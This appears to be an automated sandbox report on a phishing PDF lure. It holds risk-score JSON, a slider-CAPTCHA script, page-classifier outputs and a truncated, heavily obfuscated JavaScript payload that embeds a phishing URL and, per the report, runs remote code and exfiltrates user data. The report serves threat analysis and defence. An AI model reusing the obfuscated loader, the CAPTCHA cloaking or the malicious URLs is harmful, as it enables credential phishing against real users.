Windows Analysis Report
Appraisal-nation-Review_and_Signature_Request46074.pdf

{
    "risk_score": 4,
    "reasoning": "The script appears to be a slider-based CAPTCHA implementation, which is a common security feature. However, it has some moderate-risk indicators, such as the use of external data transmission to a remote URL for verification. Additionally, the script uses legacy practices like `XDomainRequest`, which poses minor risks. Overall, the script requires further review due to the unclear purpose of the remote URL and the use of outdated APIs."
}

(function () {
    'use strict';

    var extend = function () {
        var length = arguments.length;
        var target = arguments[0] || {};
        if (typeof target != "object" && typeof target != "function") {
            target = {};
        }
        if (length == 1) {
            target = this;
            i--;
        }
        for (var i = 1; i < length; i++) {
            var source = arguments[i];
            for (var key in source) {
                if (Object.prototype.hasOwnProperty.call(source, key)) {
                    target[key] = source[key];
                }
            }
        }
        return target;
    }

    var isFunction = function isFunction(obj) {
        return typeof obj === "function" && typeof obj.nodeType !== "number";
    };

    var SliderCaptcha = function (element, options) {
        this.$element = element;
        this.options = extend({}, SliderCaptcha.DEFAULTS, options);
        this.$element.style.position = 'relative';
        this.$element.style.width = this.options.width + 'px';
        this.$element.style.margin = '0 auto';
        this.init();
    };

    SliderCaptcha.VERSION = '1.0';
    SliderCaptcha.Author = 'argo@163.com';
    SliderCaptcha.DEFAULTS = {
        width: 280,     // canvas
        height: 155,    // canvas
        PI: Math.PI,
        sliderL: 42,    // 
        sliderR: 9,     // 
        offset: 5,      // 
        loadingText: 'Loading...',
        failedText: 'Try Again',
        barText: 'Slide To Verify',
        repeatIcon: 'fa fa-repeat',
        maxLoadCount: 3,
        localImages: function () {
            return 'images/Pic' + Math.round(Math.random() * 4) + '.jpg';
        },
        verify: function (arr, url) {
            var ret = false;
            $.ajax({
                url: url,
                data: {
                    "datas": JSON.stringify(arr),
                },
                dataType: "json",
                type: "post",
                async: false,
                success: function (result) {
                    ret = JSON.stringify(result);
                    console.log("Result: " + ret)
                }
            });
            return ret;
        },
        remoteUrl: null
    };

    function Plugin(option) {
        var $this = document.getElementById(option.id);
        var options = typeof option === 'object' && option;
        return new SliderCaptcha($this, options);
    }

    window.sliderCaptcha = Plugin;
    window.sliderCaptcha.Constructor = SliderCaptcha;

    var _proto = SliderCaptcha.prototype;
    _proto.init = function () {
        this.initDOM();
        this.initImg();
        this.bindEvents();
    };

    _proto.initDOM = function () {
        var createElement = function (tagName, className) {
            var elment = document.createElement(tagName);
            elment.className = className;
            return elment;
        };

        var createCanvas = function (width, height) {
            var canvas = document.createElement('canvas');
            canvas.width = width;
            canvas.height = height;
            return canvas;
        };

        var canvas = createCanvas(this.options.width - 2, this.options.height);
        var block = canvas.cloneNode(true);
        var sliderContainer = createElement('div', 'sliderContainer');
        var refreshIcon = createElement('i', 'refreshIcon ' + this.options.repeatIcon);
        var sliderMask = createElement('div', 'sliderMask');
        var sliderbg = createElement('div', 'sliderbg');
        var slider = createElement('div', 'slider');
        var sliderIcon = createElement('i', 'fa fa-arrow-right sliderIcon');
        var text = createElement('span', 'sliderText');

        block.className = 'block';
        text.innerHTML = this.options.barText;

        var el = this.$element;
        el.appendChild(canvas);
        el.appendChild(refreshIcon);
        el.appendChild(block);
        slider.appendChild(sliderIcon);
 

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script uses the `eval` function to execute remote code, sends user data to an external server, and utilizes heavily obfuscated strings. Additionally, the script appears to be interacting with suspicious domains, further increasing the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and poses a significant security risk."
}

  (function(_0x4a596b,_0x31a4ff){const _0x590499=_0xaaf2,_0x2b2108=_0x4a596b();while(!![]){try{const _0x18c7b8=-parseInt(_0x590499(0xc2))/0x1*(parseInt(_0x590499(0xaf))/0x2)+-parseInt(_0x590499(0xb4))/0x3*(parseInt(_0x590499(0xa7))/0x4)+parseInt(_0x590499(0xa1))/0x5+parseInt(_0x590499(0xab))/0x6+parseInt(_0x590499(0xb2))/0x7*(parseInt(_0x590499(0xc1))/0x8)+parseInt(_0x590499(0xb3))/0x9+parseInt(_0x590499(0xb8))/0xa;if(_0x18c7b8===_0x31a4ff)break;else _0x2b2108['push'](_0x2b2108['shift']());}catch(_0x30c168){_0x2b2108['push'](_0x2b2108['shift']());}}}(_0x1b64,0x55ab5));const _0x218315=_0xf70e;function _0x2fdc(){const _0x50ba66=_0xaaf2,_0x5ddcc7=[_0x50ba66(0xaa),_0x50ba66(0xa6),_0x50ba66(0xb6),'href',_0x50ba66(0xb9),_0x50ba66(0xad),_0x50ba66(0xb0),_0x50ba66(0xa5),_0x50ba66(0xa3),_0x50ba66(0xbc),'then',_0x50ba66(0xc0),_0x50ba66(0xae),_0x50ba66(0xac),_0x50ba66(0xbe),_0x50ba66(0xb5),_0x50ba66(0xb7),'3227070RwXrGK',_0x50ba66(0xa2),'push','689483RTlxPz','https://nokixa.qemitorn.ru/yz8E/#D','stringify','143050nrtIMW',_0x50ba66(0xbf),_0x50ba66(0xa9),'13168440AqAUcH',_0x50ba66(0x9f),_0x50ba66(0xa8),_0x50ba66(0xc4),_0x50ba66(0xba),_0x50ba66(0xa0)];return _0x2fdc=function(){return _0x5ddcc7;},_0x2fdc();}function _0xaaf2(_0x1ae758,_0x2df130){const _0x1b6493=_0x1b64();return _0xaaf2=function(_0xaaf2fa,_0x35bfe2){_0xaaf2fa=_0xaaf2fa-0x9f;let _0x212642=_0x1b6493[_0xaaf2fa];return _0x212642;},_0xaaf2(_0x1ae758,_0x2df130);}(function(_0xbd2344,_0x17b3cd){const _0x4fd878=_0xaaf2,_0x7c964f=_0xf70e,_0xb9f3ea=_0xbd2344();while(!![]){try{const _0x4b38ea=parseInt(_0x7c964f(0x16d))/0x1+parseInt(_0x7c964f(0x175))/0x2+parseInt(_0x7c964f(0x181))/0x3*(-parseInt(_0x7c964f(0x177))/0x4)+-parseInt(_0x7c964f(0x170))/0x5+-parseInt(_0x7c964f(0x168))/0x6+parseInt(_0x7c964f(0x16a))/0x7+parseInt(_0x7c964f(0x166))/0x8;if(_0x4b38ea===_0x17b3cd)break;else _0xb9f3ea[_0x4fd878(0xbd)](_0xb9f3ea[_0x4fd878(0xb9)]());}catch(_0x1629fa){_0xb9f3ea[_0x4fd878(0xbd)](_0xb9f3ea[_0x4fd878(0xb9)]());}}}(_0x2fdc,0x60bc6),function(_0x1ac5db,_0x295f63){const _0x58530a=_0xaaf2,_0x58e6e4=_0xf70e,_0x3b7f92=_0x36be,_0x2094cc=_0x1ac5db();while(!![]){try{const _0x4d0c3d=-parseInt(_0x3b7f92(0x1da))/0x1*(parseInt(_0x3b7f92(0x1d8))/0x2)+-parseInt(_0x3b7f92(0x1dd))/0x3+-parseInt(_0x3b7f92(0x1e5))/0x4+-parseInt(_0x3b7f92(0x1df))/0x5*(-parseInt(_0x3b7f92(0x1db))/0x6)+-parseInt(_0x3b7f92(0x1e3))/0x7+-parseInt(_0x3b7f92(0x1d6))/0x8*(parseInt(_0x3b7f92(0x1d9))/0x9)+parseInt(_0x3b7f92(0x1e6))/0xa;if(_0x4d0c3d===_0x295f63)break;else _0x2094cc[_0x58e6e4(0x16c)](_0x2094cc[_0x58e6e4(0x17d)]());}catch(_0x2a96d8){_0x2094cc[_0x58530a(0xbd)](_0x2094cc[_0x58e6e4(0x17d)]());}}}(_0x44b4,0x4363d));function _0x36be(_0x4c2236,_0xe8f2a6){const _0x10e8d3=_0x44b4();return _0x36be=function(_0x234bf3,_0x349076){_0x234bf3=_0x234bf3-0x1d4;let _0x4a414a=_0x10e8d3[_0x234bf3];return _0x4a414a;},_0x36be(_0x4c2236,_0xe8f2a6);}function _0x44b4(){const _0xa07b21=_0xaaf2,_0x51ecaf=_0xf70e,_0x400a81=[_0xa07b21(0xa4),_0x51ecaf(0x17a),_0xa07b21(0xbb),_0x51ecaf(0x169),_0x51ecaf(0x182),_0x51ecaf(0x174),_0x51ecaf(0x172),_0x51ecaf(0x183),_0x51ecaf(0x184),_0x51ecaf(0x167),_0x51ecaf(0x17b),_0x51ecaf(0x16b),_0xa07b21(0xc3),_0x51ecaf(0x178),_0x51ecaf(0x179),_0x51ecaf(0x173),_0x51ecaf(0x16e),_0x51ecaf(0x17c),_0x51ecaf(0x17e),_0x51ecaf(0x16f),_0xa07b21(0xb1),_0x51ecaf(0x176),'2839512iSptJM'];return _0x44b4=function(){return _0x400a81;},_0x44b4();}function _0xf70e(_0x4eb3e0,_0x5f537d){const _0x1bdd6c=_0x2fdc();return _0xf70e=function(_0x566309,_0x37cbd1){_0x566309=_0x566309-0x166;let _0x154828=_0x1bdd6c[_0x566309];return _0x154828;},_0xf70e(_0x4eb3e0,_0x5f537d);}const captcha=sliderCaptcha({'id':_0x218315(0x185),'repeatIcon':_0x218315(0x171),'onSuccess':function(){const _0x4cebbc=_0x218315,_0x3ebc4c=_0x36be,_0x2be480=window[_0x3ebc4c(0x1dc)][_0x3ebc4c(0x1d5)];let _0x53d848=_0x2be480[_0x4cebbc(0x180)](0x1);function _0x153e2c(_0x1604e4){const _0x245546=_0x3ebc4c;try{if(_0x1604e4[_0x245546(0x1e4)]%0x4!==0x0)return![];return btoa(atob(_0x1604e4))===_0

{
  "contains_trigger_text": true,
  "trigger_text": "Please complete your review by 08/01.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": true,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Appraisal-nation"
  ]
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://plasticoscorrea.com.br

{
  "contains_trigger_text": true,
  "trigger_text": "Complete the security check to confirm you are not a bot. This helps protect our organization from threats and spam.",
  "prominent_button_name": "",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": true,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}